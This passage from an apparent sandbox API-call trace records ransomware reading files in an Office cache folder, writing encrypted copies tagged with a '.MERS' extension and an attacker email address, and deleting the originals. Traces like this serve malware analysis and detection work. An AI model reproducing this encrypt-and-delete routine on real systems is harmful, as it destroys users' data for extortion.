lpString2=".dll") returned 1 [0044.516] lstrlenW (lpString=".docx") returned 5 [0044.516] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0044.516] lstrlenW (lpString=".pdf") returned 4 [0044.516] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0044.516] lstrlenW (lpString=".xls") returned 4 [0044.516] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0044.516] lstrlenW (lpString=".xlsx") returned 5 [0044.516] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0044.516] lstrlenW (lpString=".ppt") returned 4 [0044.516] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0044.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.516] lstrlenW (lpString=".zip") returned 4 [0044.516] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0044.516] lstrlenW (lpString=".rar") returned 4 [0044.516] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0044.516] lstrlenW (lpString=".bz2") returned 4 [0044.516] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0044.516] lstrlenW (lpString=".7z") returned 3 [0044.516] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0044.516] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.516] lstrlenW (lpString=".dbf") returned 4 [0044.517] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0044.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.517] lstrlenW (lpString=".1cd") returned 4 [0044.517] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0044.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0044.517] lstrlenW (lpString=".jpg") returned 4 [0044.517] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0044.517] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0044.517] lstrlenW (lpString="dwtrig20.exe") returned 12 [0044.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.517] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=519584) returned 1 [0044.517] CloseHandle (hObject=0x180) returned 1 [0044.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 0x2020 [0044.517] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0044.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0044.517] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.517] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.572] GetLastError () returned 0x0 [0044.572] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x7eda0, lpOverlapped=0x0) returned 1 [0044.690] WriteFile (in: hFile=0x1e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x7edb0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x7edb0, lpOverlapped=0x0) returned 1 [0044.753] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.753] WriteFile (in: hFile=0x1e8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.753] SetEndOfFile (hFile=0x1e8) returned 1 [0044.940] CloseHandle (hObject=0x1e8) returned 1 [0044.941] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.941] SetEndOfFile (hFile=0x180) returned 1 [0044.944] CloseHandle (hObject=0x180) returned 1 [0044.945] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0044.945] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString=".doc") returned 4 [0045.015] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.015] lstrlenW (lpString=".docx") returned 5 [0045.015] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0045.015] lstrlenW (lpString=".pdf") returned 4 [0045.015] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.015] lstrlenW (lpString=".xls") returned 4 [0045.015] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.015] lstrlenW (lpString=".xlsx") returned 5 [0045.015] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0045.015] lstrlenW (lpString=".ppt") returned 4 [0045.015] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString=".zip") returned 4 [0045.015] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.015] lstrlenW (lpString=".rar") returned 4 [0045.015] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.015] lstrlenW (lpString=".bz2") returned 4 [0045.015] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.015] lstrlenW (lpString=".7z") returned 3 [0045.015] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString=".dbf") returned 4 [0045.015] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString=".1cd") returned 4 [0045.015] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString=".jpg") returned 4 [0045.015] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.015] lstrlenW (lpString=".doc") returned 4 [0045.016] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.016] lstrlenW (lpString=".docx") returned 5 [0045.016] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0045.016] lstrlenW (lpString=".pdf") returned 4 [0045.016] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.016] lstrlenW (lpString=".xls") returned 4 [0045.016] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.016] lstrlenW (lpString=".xlsx") returned 5 [0045.016] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0045.016] lstrlenW (lpString=".ppt") returned 4 [0045.016] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.016] lstrlenW (lpString=".zip") returned 4 [0045.016] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.016] lstrlenW (lpString=".rar") returned 4 [0045.016] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.016] lstrlenW (lpString=".bz2") returned 4 [0045.016] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.016] lstrlenW (lpString=".7z") returned 3 [0045.016] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.016] lstrlenW (lpString=".dbf") returned 4 [0045.016] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.016] lstrlenW (lpString=".1cd") returned 4 [0045.016] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0045.016] lstrlenW (lpString=".jpg") returned 4 [0045.016] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.016] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0045.016] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0045.016] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0045.228] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=868864) returned 1 [0045.228] CloseHandle (hObject=0x180) returned 1 [0045.228] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0045.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.229] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0045.229] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.229] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.229] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.229] GetLastError () returned 0x0 [0045.229] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0045.354] WriteFile (in: hFile=0x214, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0045.368] ReadFile (in: hFile=0x180, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.368] WriteFile (in: hFile=0x214, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.368] SetEndOfFile (hFile=0x214) returned 1 [0045.368] CloseHandle (hObject=0x214) returned 1 [0045.368] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.368] SetEndOfFile (hFile=0x180) returned 1 [0045.376] CloseHandle (hObject=0x180) returned 1 [0045.376] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.376] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0045.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.376] lstrlenW (lpString=".doc") returned 4 [0045.376] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.376] lstrlenW (lpString=".docx") returned 5 [0045.376] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.376] lstrlenW (lpString=".pdf") returned 4 [0045.376] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.376] lstrlenW (lpString=".xls") returned 4 [0045.376] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.376] lstrlenW (lpString=".xlsx") returned 5 [0045.376] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.376] lstrlenW (lpString=".ppt") returned 4 [0045.376] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.376] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.377] lstrlenW (lpString=".zip") returned 4 [0045.377] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.377] lstrlenW (lpString=".rar") returned 4 [0045.377] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.377] lstrlenW (lpString=".bz2") returned 4 [0045.377] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.377] lstrlenW (lpString=".7z") returned 3 [0045.377] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.377] lstrlenW (lpString=".dbf") returned 4 [0045.377] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.377] lstrlenW (lpString=".1cd") returned 4 [0045.377] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.377] lstrlenW (lpString=".jpg") returned 4 [0045.377] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.377] lstrlenW (lpString=".doc") returned 4 [0045.377] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.377] lstrlenW (lpString=".docx") returned 5 [0045.377] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.377] lstrlenW (lpString=".pdf") returned 4 [0045.377] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.377] lstrlenW (lpString=".xls") returned 4 [0045.377] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.377] lstrlenW (lpString=".xlsx") returned 5 [0045.377] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.377] lstrlenW (lpString=".ppt") returned 4 [0045.377] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.377] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.377] lstrlenW (lpString=".zip") returned 4 [0045.377] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.377] lstrlenW (lpString=".rar") returned 4 [0045.378] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.378] lstrlenW (lpString=".bz2") returned 4 [0045.378] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.378] lstrlenW (lpString=".7z") returned 3 [0045.378] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.378] lstrlenW (lpString=".dbf") returned 4 [0045.378] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.378] lstrlenW (lpString=".1cd") returned 4 [0045.378] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.378] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0045.378] lstrlenW (lpString=".jpg") returned 4 [0045.378] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.378] lstrcmpiW (lpString1=".MST", lpString2=".MERS") returned 1 [0045.378] lstrlenW (lpString="ShellUI.MST") returned 11 [0045.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0045.378] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3584) returned 1 [0045.378] CloseHandle (hObject=0x180) returned 1 [0045.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0045.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0045.422] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.422] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0045.423] GetLastError () returned 0x0 [0045.423] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0xe00, lpOverlapped=0x0) returned 1 [0045.542] WriteFile (in: hFile=0x1f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0045.543] ReadFile (in: hFile=0x1a4, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.543] WriteFile (in: hFile=0x1f8, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.543] SetEndOfFile (hFile=0x1f8) returned 1 [0045.543] CloseHandle (hObject=0x1f8) returned 1 [0045.543] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.543] SetEndOfFile (hFile=0x1a4) returned 1 [0045.544] CloseHandle (hObject=0x1a4) returned 1 [0045.544] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.545] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0045.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.545] lstrlenW (lpString=".doc") returned 4 [0045.545] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0045.545] lstrlenW (lpString=".docx") returned 5 [0045.545] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0045.545] lstrlenW (lpString=".pdf") returned 4 [0045.545] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0045.545] lstrlenW (lpString=".xls") returned 4 [0045.545] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0045.545] lstrlenW (lpString=".xlsx") returned 5 [0045.545] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0045.545] lstrlenW (lpString=".ppt") returned 4 [0045.545] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0045.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.545] lstrlenW (lpString=".zip") returned 4 [0045.545] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0045.545] lstrlenW (lpString=".rar") returned 4 [0045.545] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0045.545] lstrlenW (lpString=".bz2") returned 4 [0045.546] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0045.546] lstrlenW (lpString=".7z") returned 3 [0045.546] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0045.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.546] lstrlenW (lpString=".dbf") returned 4 [0045.546] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0045.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0045.546] lstrlenW (lpString=".1cd") returned 4 [0045.546] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0045.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 